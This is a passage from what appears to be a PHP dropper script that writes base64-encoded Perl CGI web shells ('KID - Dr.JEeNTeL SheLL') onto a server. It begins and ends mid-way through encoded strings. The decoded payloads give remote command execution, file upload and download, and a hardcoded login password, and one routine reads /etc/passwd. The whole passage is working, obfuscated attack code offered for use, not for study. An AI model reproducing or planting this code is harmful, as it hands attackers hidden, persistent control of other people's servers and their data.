C4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICI8L2NvZGU+IjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K');
901$write = fwrite ($file ,$sa);
902$file = fopen($dir."dkcgi/dz.sa" ,"w+");
903$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQokTlRDbWRTZXAgPSAiJiI7DQokVW5peENtZFNlcCA9ICI7IjsNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMzAwOw0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsNCiRwYXNzd29yZCA9ICJkayI7DQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIGZvbw0KICAgIHsNCiAgICAgICAgbXkgKCAkbG9naW4sICRwLCAkdWlkLCAkZ2lkLCAkZ2Vjb3MsICRkaXIsICRzICk7DQogICAgIA0KICAgICAgICBteSAlSG9IID0gKCk7DQogICAgIA0KICAgICAgICBteSAkZmlsZSA9ICcvZXRjL3Bhc3N3ZCc7DQogICAgICAgIG9wZW4oIFBBU1NXRCwgIjwgJGZpbGUiICkgb3IgZGllICJDYW4ndCBvcGVuICRmaWxlIDogJCEiOw0KICAgICANCiAgICAgICAgd2hpbGUoIDxQQVNTV0Q+ICkgew0KICAgICAgICAgICAgKCAkbG9naW4sICRwLCAkdWlkLCAkZ2lkLCAkZ2Vjb3MsICRkaXIsICRzICkgPSBzcGxpdCggJzonICk7DQogICAgIA0KICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICd1aWQnIH0gPSAkdWlkOw0KICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICdnaWQnIH0gPSAkZ2lkOw0KICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICdkaXInIH0gPSAkZGlyOw0KICAgICAgICB9DQogICAgIA0KICAgICAgICBjbG9zZSBQQVNTV0Q7DQogICAgIA0KICAgICAgICByZXR1cm4gXCVIb0g7DQogICAgfQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPktJRCAtIERyLkpFZU5UZUwgU2hlTEw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBzdHlsZT0nY29sb3I6ICMwMDAwMDA7YmFja2dyb3VuZDp1cmwoaHR0cDovL2R6NGFsbC5jb20vY2MvaW1hZ2VzL2FsbWphemYtc2EvbmF2L25hdl8xOC5naWYpIHJlcGVhdCBzY3JvbGwgY2VudGVyIHRvcDtiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6IGZpeGVkO1NDUk9MTEJBUi1GQUNFLUNPTE9SOiAjRjFGMUYxOyBNQVJHSU46IDBweDtTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjZmZmZmZmOyBPVkVSRkxPVzogYXV0bzsnPg0KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiMwMGZmMDAiPjxwIGFsaWduPSJjZW50ZXIiPnM8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPg0KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIzIiBjb2xvcj0iI0ZGMDAwMCI+S0lELVNoZWxsIC0gU2VydmVyOjogIDxmb250IGNvbG9yPSIjMDBGRjAwIj4kU2VydmVyTmFtZTwvZm9udD48L2ZvbnQ+DQo8L3RyPg0KPHRyPg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjMDBmZjAwIj4NCiAgICAgIC0tIEVudGVyIFBhc3N3b3JkIC0tDQo8L2ZvbnQ+PC9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCiRNZXNzYWdlDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGJyPmxvZ2luOiBhZG1pbjxicj4NCnBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48Zm9udCBjb2xvcj0iIzAwZmYwMCI+UGFzc3dvcmQgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS